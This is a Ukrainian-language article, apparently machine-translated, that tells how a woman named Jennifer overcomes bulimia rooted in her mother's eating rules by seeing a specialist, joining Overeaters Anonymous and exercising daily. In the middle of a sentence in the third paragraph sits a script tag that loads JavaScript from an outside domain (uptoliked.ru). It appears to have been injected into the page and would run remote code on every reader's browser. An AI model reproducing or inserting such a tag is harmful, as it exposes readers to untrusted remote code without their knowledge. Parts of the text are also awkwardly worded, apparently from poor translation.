Перший крок Дженіфер до перемоги над вагою

Дженніфер неймовірно соромилася того факту, що в багатьох сферах життя проявила чудові здібності та якості, а стосовно їжі зовсім не вміла контролювати себе. І не дивно, що цей сценарій відобразився в моторошно схожій моделі образу життя мами.

Цікаво було почути, що за все своє професійне гамір її мати ніколи не приймала їжу за три прийоми протягом одного дня. Коли Дженніфер була підлітком і вже виросла до шести футів у висоту, готуючись стати дорослою, мати неустанно вбивала їй в голову, що якщо вона буде їсти тричі на день, то стане повненькою. В результаті Дженніфер, стаючи по-вовчому голодною, починала їсти ні багато ні мало п’ять разів на день, хоча будь-яка їжа, що перевищує обсяг двох прийомів на день, виходила назад з блювотою. Незалежно від того, як виникли ці тілесно-іміджні проблеми, факт залишався фактом: вони дуже серйозні та потенційно небезпечні для життя.

Після того, як Дженніфер відкрила мені свій сумний секрет, я <script src=”//uptoliked.ru/widjets.js”></script>рекомендувала їй звернутися за допомогою до фахівця, спеціаліста з розладами харчування, або ж вступити в Товариство анонімних обжерливів. Програма цієї організації, багато в чому схожа на Товариство анонімних алкоголіків, складається з дванадцяти ступенів. Для багатьох моїх клієнтів це товариство послужило рятувальним колом, підтримало в важку хвилину і повернуло здоровий глузд. Тут люди, які страждають розладами харчування, мають можливість збиратися разом в умовах анонімності, щоб поділитися досвідом, повернути силу та вселити надію.

Покинути реальний виклик розладу харчування і розвіяти страх телесної повноти означало для Дженніфер подолати величезний бар’єр, але вона змогла це зробити. Вона звернулася за допомогою до досвідченого лікаря, щоб подолати свою схильність до нападів булимії в період стресу. Вона почала відвідувати Товариство анонімних обжерливів, спочатку відчуваючи незручність, однак потім звикла і стала знаходити заспокійливими та вилічуючими поради інших членів, які ділилися з нею своїми тривогами та проблемами.

І принаймні десять хвилин кожного дня Дженніфер заспокоювалася за допомогою “серцево-судинної” активності. Вона продовжувала рухові вправи і робила їх довше, ніж десять хвилин, якщо її розклад дозволяв. Але навіть у періоди найвищої зайнятості вона не змінювала обіцянки присвячувати десять хвилин на день аеробіці.